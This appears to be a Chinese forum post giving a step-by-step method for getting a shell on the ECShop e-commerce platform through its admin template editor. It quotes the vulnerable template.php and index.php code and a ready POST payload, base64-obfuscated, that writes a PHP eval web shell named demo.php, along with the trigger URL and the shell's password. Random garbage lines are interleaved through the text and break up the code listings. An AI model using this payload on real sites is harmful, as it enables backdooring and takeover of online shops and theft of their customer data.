Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
* D, G0 n& u& J9 q$ O
6 o3 }+ L9 {2 p1 U  ]1 K而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
/ R8 @  w& z' l+ u* N2 k但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
admin/template.php
) i# m( X- L. V, ^0 {
1 if ($_REQUEST['act'] == 'update_library')
4 E7 B, K4 v. Q5 i" E) z% H7 N8 u
( ^; g* W7 q& i2 e# o9 I; k  q2 p/ M8 ^2   
) L! c$ h7 p% Z) v
3 {

4     check_authz_json('library_manage');

0 Y6 ~0 l3 f/ N  Z" ~5   
+ ]4 q/ T0 [, z0 D6 Y/ g
) E- p& V2 j0 y) y; I  X6     $html = stripslashes(json_str_iconv($_POST['html']));

7   
; C# N$ W; z/ B% ~5 K/ d3 w
( U+ I  x/ V7 g6 ~; Z7 b" D8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件

/ P6 d/ y2 e& I% g  x' G2 X9   
: F. J  Z2 U! N
, @' s& F7 s8 r6 ~4 H  x4 K10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
9 }" v7 ?( _& J0 k& b' M
11   

0 a; `& i& j4 D7 w5 \12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));

13   

: A+ E: Q5 B9 h3 f0 ]" w# B14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
0 M: _9 R" ~' @" A
15     {
/ F# N) Q1 G' |# l8 a5 f5 W& {% [
$ d- m5 `0 F* M& {/ |$ o3 z5 K; S3 [16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
9 Y2 u/ Z) V2 G, B+ s  r
17         make_json_result('', $_LANG['update_lib_success']);

2 _/ W2 q' _2 Q1 ?  y9 E18     }

' ]5 I2 w, P& s6 ^; b: t: _7 r19     else
  h1 ?9 u2 I, y. P3 Z' Z0 n( O
/ A7 }$ v! l6 l- P2 k& K8 d$ m20     {

6 N  `) |+ U$ ?3 Y" V5 E) L2 W21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));

22     }
+ y, Y* ^, Q1 [; J4 t; d
23 }

那么找个比较方便调用了模板的文件
" A! T$ q! N- C: c1 [& Uindex.php
% l$ E1 p7 L0 I. R
1 if ($act == 'cat_rec')
2 F/ [* [/ M! t
( t  I1 k& W0 V; C4 b, d; p2   

3 {

4   
! q/ I/ v: h5 x3 j$ F6 H
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
3 T9 ]; {# Q9 R. q  `
6   

7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';

8   

9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
' t  ?9 Q, o8 L. P4 m) b
: t! l  v; u# l# j10   

1 }7 |- ?5 Q. M. r11     include_once('includes/cls_json.php');

6 A1 Y9 f* T# G- w: a+ Z12   
8 I/ P' f, D( o) Y& ~" q
13     $json = new JSON;

14   

15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);

16   
# _+ M: S5 W3 h, z: F
17     $children = get_children($cat_id);
$ v5 F3 m6 R0 w, ~* {2 |
18   
( g+ f. C- o& F
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
: E" ?1 J3 |1 ?. w& c
6 A5 y, m/ m; i) j/ x20   
" B  A/ W( E" |( G' r* ]; l
21     $smarty->assign('cat_rec_sign', 1);
  b3 y0 Q3 O( |0 A3 f/ q# D
( S. d" z, R% v! K1 T) H7 v22   

/ t+ q- z0 K6 m# w; G" O23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
2 g0 t3 R  ?/ }6 D+ W
5 C( J1 D$ x8 G( h! H/ J24   

( ], \& P( J9 @25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';

26   
6 d. ]5 s) ]5 L5 y3 x4 x
  v' p9 Z' ^' a& k27         echo $rec_array[$rec_type];
4 j$ N) J/ U' R$ d
* i! U! ?" q& [, O0 e& e# ?28   
6 i( m/ B6 W& n9 `) b0 P! j7 p
1 c. I+ I0 w4 d/ k4 g# [29     die($json->encode($result));
* O4 g* t$ i8 g4 I( {& L' e+ Z# i
30   
: X: T( f4 u# R# x% l
31 }
  I( ?+ x" c( Y. e; F/ Q: ?( G
那么就有利用方法了
post包到http://localhost/ec/admin/template.php?act=update_library
, w+ N% J) A9 i' _7 U. L+ B, v2 OPost内容：
/ ]% p. ^. D: F& I$ r6 ~1 h- z1 e8 \
​
8 B4 p8 p3 H/ }( h$ O1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}

* [9 A( H) B' ^) M1 I0 {& K然后访问http://localhost/ec/index.php?act=cat_rec
2 h' k; K7 v+ A8 ]
" w& _- l" A7 }4 c. @; h0 h! Cshel地址：http://localhost/ec/demo.php
密码c
3 Q/ F0 k. ~" o" b